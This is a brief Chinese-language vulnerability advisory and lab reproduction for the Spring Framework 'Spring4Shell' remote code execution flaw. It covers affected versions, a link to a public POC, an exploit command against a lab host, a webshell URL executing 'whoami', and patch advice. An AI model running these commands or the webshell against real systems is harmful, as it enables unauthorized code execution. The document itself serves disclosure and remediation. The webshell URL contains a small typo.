1.漏洞描述
由于Spring处理流程存在缺陷,在JDK9及以上版本的Spring框架环境中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值,触发pipeline机制,从而在任意路径下写入文件。远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。
2.影响版本
JDK >= 9 & 5.3.X < Spring Framework < 5.3.18
JDK >= 9 & 5.2.X < Spring Framework < 5.2.20
受该漏洞影响的环境需要同时满足以下条件:
(1)JDK版本大于等于9;
(2)使用受影响的Spring框架或衍生框架;
(3)Spring-webmvc或Spring-webflux依赖项。
3.POC
下载地址:https://github.com/TheGejr/SpringShell
4.漏洞复现
靶场环境:http://123.58.236.76/
注册登录后启动Spring Framework远程命令执行漏洞靶场
使用exp脚本直接命令执行
python3 exp.py --url http://123.58.236.76:53894
http://123.58.236.76:53894/tomcatwar.jsppwd=j&cmd=whoami
5.修复建议
官方补丁:
目前Spring官方已发布最新漏洞修复版本,请受影响用户及时升级安装。下载链接:https://github.com/spring-projects/spring-framework/releases。安全版本:Spring Framework = 5.3.18, Spring Framework =5.2.20。